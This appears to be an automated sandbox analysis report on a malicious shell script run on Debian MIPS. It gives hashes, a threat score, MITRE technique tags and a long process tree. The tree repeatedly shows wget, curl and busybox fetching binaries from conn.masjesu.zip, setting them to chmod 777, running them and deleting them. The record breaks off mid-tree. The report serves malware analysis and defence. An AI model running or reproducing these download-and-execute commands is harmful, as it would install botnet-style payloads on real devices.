92f83770a965afd38b0796fbc25b88fd6b13a58c62851c212b85d90542cce1c3

Analysis

max time kernel
75s
max time network
76s
platform
debian-9_mips
resource
debian9-mipsbe-20240418-en
resource tags

arch:mipsimage:debian9-mipsbe-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
22/11/2024, 02:48

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
92f83770a965afd38b0796fbc25b88fd6b13a58c62851c212b85d90542cce1c3.sh
Size 10KB
Sample241122-daw1tsypdn
SHA256 92f83770a965afd38b0796fbc25b88fd6b13a58c62851c212b85d90542cce1c3
MD5 bb487647636a4b10a6965c3ba51ca549
SHA1 9c53ac18f308c9df8397d949e59b3475b4783813
SHA512 c87ec3309df2371248049d5e3ae88837074ed684526fa0bf1f83c30a5565d7b629702d8baf1ff22d075a9f4c6c6895b127f52901cc7e192f27966b4a494e9cd2
SSDEEP 96:YWGrn7eJswicnjnXDLIEQLLnR5RnW04oxL1VzB5g1VZL050R0lU/J/h/2r/c6yOA:nbPQdxxC2Qe9H2
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
773	chmod
984	chmod
991	chmod
1040	chmod
818	chmod
883	chmod
897	chmod
970	chmod
1019	chmod
860	chmod
928	chmod
1005	chmod
1033	chmod
780	chmod
921	chmod
949	chmod
963	chmod
907	chmod
935	chmod
998	chmod
1026	chmod
977	chmod
1012	chmod
839	chmod
890	chmod
914	chmod
942	chmod
956	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 64 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
948	busybox
980	wget
990	busybox
997	busybox
1032	busybox
1009	curl
887	curl
894	curl
906	busybox
925	curl
960	curl
825	wget
873	curl
917	wget
966	wget
1002	curl
987	wget
1015	wget
1039	busybox
882	busybox
924	wget
934	busybox
941	busybox
969	busybox
972	rm
1016	curl
776	wget
866	wget
918	curl
938	wget
946	curl
779	busybox
811	busybox
900	wget
1037	curl
901	curl
955	busybox
959	wget
1018	busybox
889	busybox
893	wget
945	wget
976	busybox
1022	wget
930	rm
1004	busybox
1008	wget
753	wget
772	busybox
777	curl
786	wget
834	curl
994	wget
995	curl
843	curl
983	busybox
988	curl
1025	busybox
838	busybox
953	curl
1023	curl
971	vvnP24wKfiiP7JM0IvONbSCoRArxwHFPm3
764	curl
852	busybox

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/FTBOrM9pEI6Qt3B17nBFDDNWjB9umPIlu4	curl
File opened for modification	/tmp/FTBOrM9pEI6Qt3B17nBFDDNWjB9umPIlu4	curl
File opened for modification	/tmp/1jC4kgKLuPs5kQaqqXCWJU0VwjmKkWvway	curl
File opened for modification	/tmp/9UuL6SX71am64Q4xveCMyLec0j2yaz2rGo	curl
File opened for modification	/tmp/73NN5luFfi3X8R0fyKJXK5TvtrnB3ROtht	curl
File opened for modification	/tmp/vOCJnap6Y277W2IZum6Rc8aRPLlskBqBpZ	curl
File opened for modification	/tmp/LBCwiybFEIluTNQtF0k4tcAl1AmSdAt6eI	curl
File opened for modification	/tmp/vOCJnap6Y277W2IZum6Rc8aRPLlskBqBpZ	curl
File opened for modification	/tmp/bTsBfdj8HgcH3YhfpWja0vxBRYB5jh4J7n	curl
File opened for modification	/tmp/vvnP24wKfiiP7JM0IvONbSCoRArxwHFPm3	curl
File opened for modification	/tmp/hPxf5pxtJLAGj4Ceoz5fytPriytjxroAIX	curl
File opened for modification	/tmp/jTB5gNMwFumQ6eckYadMKE6aPgWSG9Akmt	curl
File opened for modification	/tmp/hPxf5pxtJLAGj4Ceoz5fytPriytjxroAIX	curl
File opened for modification	/tmp/qLolJJd1pLGMibSaqC9JVDB2dFV5Xecmld	curl
File opened for modification	/tmp/9UuL6SX71am64Q4xveCMyLec0j2yaz2rGo	curl
File opened for modification	/tmp/K4q1cANrycsDwBbY3JrPQctJAxPoYCcFnj	curl
File opened for modification	/tmp/L3JUvhPgN6h4MWBii3oJRILdFvuX154Uq1	curl
File opened for modification	/tmp/1jC4kgKLuPs5kQaqqXCWJU0VwjmKkWvway	curl
File opened for modification	/tmp/73NN5luFfi3X8R0fyKJXK5TvtrnB3ROtht	curl
File opened for modification	/tmp/qLolJJd1pLGMibSaqC9JVDB2dFV5Xecmld	curl
File opened for modification	/tmp/LBCwiybFEIluTNQtF0k4tcAl1AmSdAt6eI	curl
File opened for modification	/tmp/L3JUvhPgN6h4MWBii3oJRILdFvuX154Uq1	curl
File opened for modification	/tmp/jTB5gNMwFumQ6eckYadMKE6aPgWSG9Akmt	curl
File opened for modification	/tmp/bTsBfdj8HgcH3YhfpWja0vxBRYB5jh4J7n	curl
File opened for modification	/tmp/K4q1cANrycsDwBbY3JrPQctJAxPoYCcFnj	curl
File opened for modification	/tmp/8HG3vYk3sfUtbcH8KGgPhLdZbDm8iobhMc	curl
File opened for modification	/tmp/8HG3vYk3sfUtbcH8KGgPhLdZbDm8iobhMc	curl
File opened for modification	/tmp/vvnP24wKfiiP7JM0IvONbSCoRArxwHFPm3	curl

/tmp/92f83770a965afd38b0796fbc25b88fd6b13a58c62851c212b85d90542cce1c3.sh
/tmp/92f83770a965afd38b0796fbc25b88fd6b13a58c62851c212b85d90542cce1c3.sh
1⤵
PID:743
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:748
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/qLolJJd1pLGMibSaqC9JVDB2dFV5Xecmld
  2⤵
  - System Network Configuration Discovery
  PID:753
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/qLolJJd1pLGMibSaqC9JVDB2dFV5Xecmld
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:764
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/qLolJJd1pLGMibSaqC9JVDB2dFV5Xecmld
  2⤵
  - System Network Configuration Discovery
  PID:772
- /bin/chmod
  chmod 777 qLolJJd1pLGMibSaqC9JVDB2dFV5Xecmld
  2⤵
  - File and Directory Permissions Modification
  PID:773
- /tmp/qLolJJd1pLGMibSaqC9JVDB2dFV5Xecmld
  ./qLolJJd1pLGMibSaqC9JVDB2dFV5Xecmld
  2⤵
  - Executes dropped EXE
  PID:774
- /bin/rm
  rm qLolJJd1pLGMibSaqC9JVDB2dFV5Xecmld
  2⤵
  PID:775
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/bTsBfdj8HgcH3YhfpWja0vxBRYB5jh4J7n
  2⤵
  - System Network Configuration Discovery
  PID:776
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/bTsBfdj8HgcH3YhfpWja0vxBRYB5jh4J7n
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:777
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/bTsBfdj8HgcH3YhfpWja0vxBRYB5jh4J7n
  2⤵
  - System Network Configuration Discovery
  PID:779
- /bin/chmod
  chmod 777 bTsBfdj8HgcH3YhfpWja0vxBRYB5jh4J7n
  2⤵
  - File and Directory Permissions Modification
  PID:780
- /tmp/bTsBfdj8HgcH3YhfpWja0vxBRYB5jh4J7n
  ./bTsBfdj8HgcH3YhfpWja0vxBRYB5jh4J7n
  2⤵
  - Executes dropped EXE
  PID:781
- /bin/rm
  rm bTsBfdj8HgcH3YhfpWja0vxBRYB5jh4J7n
  2⤵
  PID:785
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/9UuL6SX71am64Q4xveCMyLec0j2yaz2rGo
  2⤵
  - System Network Configuration Discovery
  PID:786
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/9UuL6SX71am64Q4xveCMyLec0j2yaz2rGo
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:800
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/9UuL6SX71am64Q4xveCMyLec0j2yaz2rGo
  2⤵
  - System Network Configuration Discovery
  PID:811
- /bin/chmod
  chmod 777 9UuL6SX71am64Q4xveCMyLec0j2yaz2rGo
  2⤵
  - File and Directory Permissions Modification
  PID:818
- /tmp/9UuL6SX71am64Q4xveCMyLec0j2yaz2rGo
  ./9UuL6SX71am64Q4xveCMyLec0j2yaz2rGo
  2⤵
  - Executes dropped EXE
  PID:820
- /bin/rm
  rm 9UuL6SX71am64Q4xveCMyLec0j2yaz2rGo
  2⤵
  PID:823
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/73NN5luFfi3X8R0fyKJXK5TvtrnB3ROtht
  2⤵
  - System Network Configuration Discovery
  PID:825
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/73NN5luFfi3X8R0fyKJXK5TvtrnB3ROtht
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:834
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/73NN5luFfi3X8R0fyKJXK5TvtrnB3ROtht
  2⤵
  - System Network Configuration Discovery
  PID:838
- /bin/chmod
  chmod 777 73NN5luFfi3X8R0fyKJXK5TvtrnB3ROtht
  2⤵
  - File and Directory Permissions Modification
  PID:839
- /tmp/73NN5luFfi3X8R0fyKJXK5TvtrnB3ROtht
  ./73NN5luFfi3X8R0fyKJXK5TvtrnB3ROtht
  2⤵
  - Executes dropped EXE
  PID:840
- /bin/rm
  rm 73NN5luFfi3X8R0fyKJXK5TvtrnB3ROtht
  2⤵
  PID:841
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/hPxf5pxtJLAGj4Ceoz5fytPriytjxroAIX
  2⤵
  PID:842
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/hPxf5pxtJLAGj4Ceoz5fytPriytjxroAIX
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:843
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/hPxf5pxtJLAGj4Ceoz5fytPriytjxroAIX
  2⤵
  - System Network Configuration Discovery
  PID:852
- /bin/chmod
  chmod 777 hPxf5pxtJLAGj4Ceoz5fytPriytjxroAIX
  2⤵
  - File and Directory Permissions Modification
  PID:860
- /tmp/hPxf5pxtJLAGj4Ceoz5fytPriytjxroAIX
  ./hPxf5pxtJLAGj4Ceoz5fytPriytjxroAIX
  2⤵
  - Executes dropped EXE
  PID:861
- /bin/rm
  rm hPxf5pxtJLAGj4Ceoz5fytPriytjxroAIX
  2⤵
  PID:864
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/K4q1cANrycsDwBbY3JrPQctJAxPoYCcFnj
  2⤵
  - System Network Configuration Discovery
  PID:866
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/K4q1cANrycsDwBbY3JrPQctJAxPoYCcFnj
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:873
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/K4q1cANrycsDwBbY3JrPQctJAxPoYCcFnj
  2⤵
  - System Network Configuration Discovery
  PID:882
- /bin/chmod
  chmod 777 K4q1cANrycsDwBbY3JrPQctJAxPoYCcFnj
  2⤵
  - File and Directory Permissions Modification
  PID:883
- /tmp/K4q1cANrycsDwBbY3JrPQctJAxPoYCcFnj
  ./K4q1cANrycsDwBbY3JrPQctJAxPoYCcFnj
  2⤵
  - Executes dropped EXE
  PID:884
- /bin/rm
  rm K4q1cANrycsDwBbY3JrPQctJAxPoYCcFnj
  2⤵
  PID:885
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/LBCwiybFEIluTNQtF0k4tcAl1AmSdAt6eI
  2⤵
  PID:886
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/LBCwiybFEIluTNQtF0k4tcAl1AmSdAt6eI
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:887
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/LBCwiybFEIluTNQtF0k4tcAl1AmSdAt6eI
  2⤵
  - System Network Configuration Discovery
  PID:889
- /bin/chmod
  chmod 777 LBCwiybFEIluTNQtF0k4tcAl1AmSdAt6eI
  2⤵
  - File and Directory Permissions Modification
  PID:890
- /tmp/LBCwiybFEIluTNQtF0k4tcAl1AmSdAt6eI
  ./LBCwiybFEIluTNQtF0k4tcAl1AmSdAt6eI
  2⤵
  - Executes dropped EXE
  PID:891
- /bin/rm
  rm LBCwiybFEIluTNQtF0k4tcAl1AmSdAt6eI
  2⤵
  PID:892
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/vOCJnap6Y277W2IZum6Rc8aRPLlskBqBpZ
  2⤵
  - System Network Configuration Discovery
  PID:893
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/vOCJnap6Y277W2IZum6Rc8aRPLlskBqBpZ
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:894
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/vOCJnap6Y277W2IZum6Rc8aRPLlskBqBpZ
  2⤵
  PID:896
- /bin/chmod
  chmod 777 vOCJnap6Y277W2IZum6Rc8aRPLlskBqBpZ
  2⤵
  - File and Directory Permissions Modification
  PID:897
- /tmp/vOCJnap6Y277W2IZum6Rc8aRPLlskBqBpZ
  ./vOCJnap6Y277W2IZum6Rc8aRPLlskBqBpZ
  2⤵
  - Executes dropped EXE
  PID:898
- /bin/rm
  rm vOCJnap6Y277W2IZum6Rc8aRPLlskBqBpZ
  2⤵
  PID:899
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/L3JUvhPgN6h4MWBii3oJRILdFvuX154Uq1
  2⤵
  - System Network Configuration Discovery
  PID:900
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/L3JUvhPgN6h4MWBii3oJRILdFvuX154Uq1
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:901
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/L3JUvhPgN6h4MWBii3oJRILdFvuX154Uq1
  2⤵
  - System Network Configuration Discovery
  PID:906
- /bin/chmod
  chmod 777 L3JUvhPgN6h4MWBii3oJRILdFvuX154Uq1
  2⤵
  - File and Directory Permissions Modification
  PID:907
- /tmp/L3JUvhPgN6h4MWBii3oJRILdFvuX154Uq1
  ./L3JUvhPgN6h4MWBii3oJRILdFvuX154Uq1
  2⤵
  - Executes dropped EXE
  PID:908
- /bin/rm
  rm L3JUvhPgN6h4MWBii3oJRILdFvuX154Uq1
  2⤵
  PID:909
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/jTB5gNMwFumQ6eckYadMKE6aPgWSG9Akmt
  2⤵
  PID:910
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/jTB5gNMwFumQ6eckYadMKE6aPgWSG9Akmt
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:911
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/jTB5gNMwFumQ6eckYadMKE6aPgWSG9Akmt
  2⤵
  PID:913
- /bin/chmod
  chmod 777 jTB5gNMwFumQ6eckYadMKE6aPgWSG9Akmt
  2⤵
  - File and Directory Permissions Modification
  PID:914
- /tmp/jTB5gNMwFumQ6eckYadMKE6aPgWSG9Akmt
  ./jTB5gNMwFumQ6eckYadMKE6aPgWSG9Akmt
  2⤵
  - Executes dropped EXE
  PID:915
- /bin/rm
  rm jTB5gNMwFumQ6eckYadMKE6aPgWSG9Akmt
  2⤵
  PID:916
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/1jC4kgKLuPs5kQaqqXCWJU0VwjmKkWvway
  2⤵
  - System Network Configuration Discovery
  PID:917
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/1jC4kgKLuPs5kQaqqXCWJU0VwjmKkWvway
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:918
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/1jC4kgKLuPs5kQaqqXCWJU0VwjmKkWvway
  2⤵
  PID:920
- /bin/chmod
  chmod 777 1jC4kgKLuPs5kQaqqXCWJU0VwjmKkWvway
  2⤵
  - File and Directory Permissions Modification
  PID:921
- /tmp/1jC4kgKLuPs5kQaqqXCWJU0VwjmKkWvway
  ./1jC4kgKLuPs5kQaqqXCWJU0VwjmKkWvway
  2⤵
  - Executes dropped EXE
  PID:922
- /bin/rm
  rm 1jC4kgKLuPs5kQaqqXCWJU0VwjmKkWvway
  2⤵
  PID:923
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/vvnP24wKfiiP7JM0IvONbSCoRArxwHFPm3
  2⤵
  - System Network Configuration Discovery
  PID:924
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/vvnP24wKfiiP7JM0IvONbSCoRArxwHFPm3
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:925
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/vvnP24wKfiiP7JM0IvONbSCoRArxwHFPm3
  2⤵
  PID:927
- /bin/chmod
  chmod 777 vvnP24wKfiiP7JM0IvONbSCoRArxwHFPm3
  2⤵
  - File and Directory Permissions Modification
  PID:928
- /tmp/vvnP24wKfiiP7JM0IvONbSCoRArxwHFPm3
  ./vvnP24wKfiiP7JM0IvONbSCoRArxwHFPm3
  2⤵
  - Executes dropped EXE
  PID:929
- /bin/rm
  rm vvnP24wKfiiP7JM0IvONbSCoRArxwHFPm3
  2⤵
  - System Network Configuration Discovery
  PID:930
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/8HG3vYk3sfUtbcH8KGgPhLdZbDm8iobhMc
  2⤵
  PID:931
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/8HG3vYk3sfUtbcH8KGgPhLdZbDm8iobhMc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:932
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/8HG3vYk3sfUtbcH8KGgPhLdZbDm8iobhMc
  2⤵
  - System Network Configuration Discovery
  PID:934
- /bin/chmod
  chmod 777 8HG3vYk3sfUtbcH8KGgPhLdZbDm8iobhMc
  2⤵
  - File and Directory Permissions Modification
  PID:935
- /tmp/8HG3vYk3sfUtbcH8KGgPhLdZbDm8iobhMc
  ./8HG3vYk3sfUtbcH8KGgPhLdZbDm8iobhMc
  2⤵
  - Executes dropped EXE
  PID:936
- /bin/rm
  rm 8HG3vYk3sfUtbcH8KGgPhLdZbDm8iobhMc
  2⤵
  PID:937
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/FTBOrM9pEI6Qt3B17nBFDDNWjB9umPIlu4
  2⤵
  - System Network Configuration Discovery
  PID:938
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/FTBOrM9pEI6Qt3B17nBFDDNWjB9umPIlu4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:939
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/FTBOrM9pEI6Qt3B17nBFDDNWjB9umPIlu4
  2⤵
  - System Network Configuration Discovery
  PID:941
- /bin/chmod
  chmod 777 FTBOrM9pEI6Qt3B17nBFDDNWjB9umPIlu4
  2⤵
  - File and Directory Permissions Modification
  PID:942
- /tmp/FTBOrM9pEI6Qt3B17nBFDDNWjB9umPIlu4
  ./FTBOrM9pEI6Qt3B17nBFDDNWjB9umPIlu4
  2⤵
  - Executes dropped EXE
  PID:943
- /bin/rm
  rm FTBOrM9pEI6Qt3B17nBFDDNWjB9umPIlu4
  2⤵
  PID:944
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/8HG3vYk3sfUtbcH8KGgPhLdZbDm8iobhMc
  2⤵
  - System Network Configuration Discovery
  PID:945
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/8HG3vYk3sfUtbcH8KGgPhLdZbDm8iobhMc
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:946
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/8HG3vYk3sfUtbcH8KGgPhLdZbDm8iobhMc
  2⤵
  - System Network Configuration Discovery
  PID:948
- /bin/chmod
  chmod 777 8HG3vYk3sfUtbcH8KGgPhLdZbDm8iobhMc
  2⤵
  - File and Directory Permissions Modification
  PID:949
- /tmp/8HG3vYk3sfUtbcH8KGgPhLdZbDm8iobhMc
  ./8HG3vYk3sfUtbcH8KGgPhLdZbDm8iobhMc
  2⤵
  - Executes dropped EXE
  PID:950
- /bin/rm
  rm 8HG3vYk3sfUtbcH8KGgPhLdZbDm8iobhMc
  2⤵
  PID:951
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/FTBOrM9pEI6Qt3B17nBFDDNWjB9umPIlu4
  2⤵
  PID:952
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/FTBOrM9pEI6Qt3B17nBFDDNWjB9umPIlu4
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:953
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/FTBOrM9pEI6Qt3B17nBFDDNWjB9umPIlu4
  2⤵
  - System Network Configuration Discovery
  PID:955
- /bin/chmod
  chmod 777 FTBOrM9pEI6Qt3B17nBFDDNWjB9umPIlu4
  2⤵
  - File and Directory Permissions Modification
  PID:956
- /tmp/FTBOrM9pEI6Qt3B17nBFDDNWjB9umPIlu4
  ./FTBOrM9pEI6Qt3B17nBFDDNWjB9umPIlu4
  2⤵
  - Executes dropped EXE
  PID:957
- /bin/rm
  rm FTBOrM9pEI6Qt3B17nBFDDNWjB9umPIlu4
  2⤵
  PID:958
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/1jC4kgKLuPs5kQaqqXCWJU0VwjmKkWvway
  2⤵
  - System Network Configuration Discovery
  PID:959
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/1jC4kgKLuPs5kQaqqXCWJU0VwjmKkWvway
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:960
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/1jC4kgKLuPs5kQaqqXCWJU0VwjmKkWvway
  2⤵
  PID:962
- /bin/chmod
  chmod 777 1jC4kgKLuPs5kQaqqXCWJU0VwjmKkWvway
  2⤵
  - File and Directory Permissions Modification
  PID:963
- /tmp/1jC4kgKLuPs5kQaqqXCWJU0VwjmKkWvway
  ./1jC4kgKLuPs5kQaqqXCWJU0VwjmKkWvway
  2⤵
  - Executes dropped EXE
  PID:964
- /bin/rm
  rm 1jC4kgKLuPs5kQaqqXCWJU0VwjmKkWvway
  2⤵
  PID:965
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/vvnP24wKfiiP7JM0IvONbSCoRArxwHFPm3
  2⤵
  - System Network Configuration Discovery
  PID:966
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/vvnP24wKfiiP7JM0IvONbSCoRArxwHFPm3
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:967
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/vvnP24wKfiiP7JM0IvONbSCoRArxwHFPm3
  2⤵
  - System Network Configuration Discovery
  PID:969
- /bin/chmod
  chmod 777 vvnP24wKfiiP7JM0IvONbSCoRArxwHFPm3
  2⤵
  - File and Directory Permissions Modification
  PID:970
- /tmp/vvnP24wKfiiP7JM0IvONbSCoRArxwHFPm3
  ./vvnP24wKfiiP7JM0IvONbSCoRArxwHFPm3
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:971
- /bin/rm
  rm vvnP24wKfiiP7JM0IvONbSCoRArxwHFPm3
  2⤵
  - System Network Configuration Discovery
  PID:972
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/9UuL6SX71am64Q4xveCMyLec0j2yaz2rGo
  2⤵
  PID:973
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/9UuL6SX71am64Q4xveCMyLec0j2yaz2rGo
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:974
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/9UuL6SX71am64Q4xveCMyLec0j2yaz2rGo
  2⤵
  - System Network Configuration Discovery
  PID:976
- /bin/chmod
  chmod 777 9UuL6SX71am64Q4xveCMyLec0j2yaz2rGo
  2⤵
  - File and Directory Permissions Modification
  PID:977
- /tmp/9UuL6SX71am64Q4xveCMyLec0j2yaz2rGo
  ./9UuL6SX71am64Q4xveCMyLec0j2yaz2rGo
  2⤵
  - Executes dropped EXE
  PID:978
- /bin/rm
  rm 9UuL6SX71am64Q4xveCMyLec0j2yaz2rGo
  2⤵
  PID:979
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/73NN5luFfi3X8R0fyKJXK5TvtrnB3ROtht
  2⤵
  - System Network Configuration Discovery
  PID:980
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/73NN5luFfi3X8R0fyKJXK5TvtrnB3ROtht
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:981
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/73NN5luFfi3X8R0fyKJXK5TvtrnB3ROtht
  2⤵
  - System Network Configuration Discovery
  PID:983
- /bin/chmod
  chmod 777 73NN5luFfi3X8R0fyKJXK5TvtrnB3ROtht
  2⤵
  - File and Directory Permissions Modification
  PID:984
- /tmp/73NN5luFfi3X8R0fyKJXK5TvtrnB3ROtht
  ./73NN5luFfi3X8R0fyKJXK5TvtrnB3ROtht
  2⤵
  - Executes dropped EXE
  PID:985
- /bin/rm
  rm 73NN5luFfi3X8R0fyKJXK5TvtrnB3ROtht
  2⤵
  PID:986
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/qLolJJd1pLGMibSaqC9JVDB2dFV5Xecmld
  2⤵
  - System Network Configuration Discovery
  PID:987
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/qLolJJd1pLGMibSaqC9JVDB2dFV5Xecmld
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:988
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/qLolJJd1pLGMibSaqC9JVDB2dFV5Xecmld
  2⤵
  - System Network Configuration Discovery
  PID:990
- /bin/chmod
  chmod 777 qLolJJd1pLGMibSaqC9JVDB2dFV5Xecmld
  2⤵
  - File and Directory Permissions Modification
  PID:991
- /tmp/qLolJJd1pLGMibSaqC9JVDB2dFV5Xecmld
  ./qLolJJd1pLGMibSaqC9JVDB2dFV5Xecmld
  2⤵
  - Executes dropped EXE
  PID:992
- /bin/rm
  rm qLolJJd1pLGMibSaqC9JVDB2dFV5Xecmld
  2⤵
  PID:993
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/bTsBfdj8HgcH3YhfpWja0vxBRYB5jh4J7n
  2⤵
  - System Network Configuration Discovery
  PID:994
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/bTsBfdj8HgcH3YhfpWja0vxBRYB5jh4J7n
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:995
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/bTsBfdj8HgcH3YhfpWja0vxBRYB5jh4J7n
  2⤵
  - System Network Configuration Discovery
  PID:997
- /bin/chmod
  chmod 777 bTsBfdj8HgcH3YhfpWja0vxBRYB5jh4J7n
  2⤵
  - File and Directory Permissions Modification
  PID:998
- /tmp/bTsBfdj8HgcH3YhfpWja0vxBRYB5jh4J7n
  ./bTsBfdj8HgcH3YhfpWja0vxBRYB5jh4J7n
  2⤵
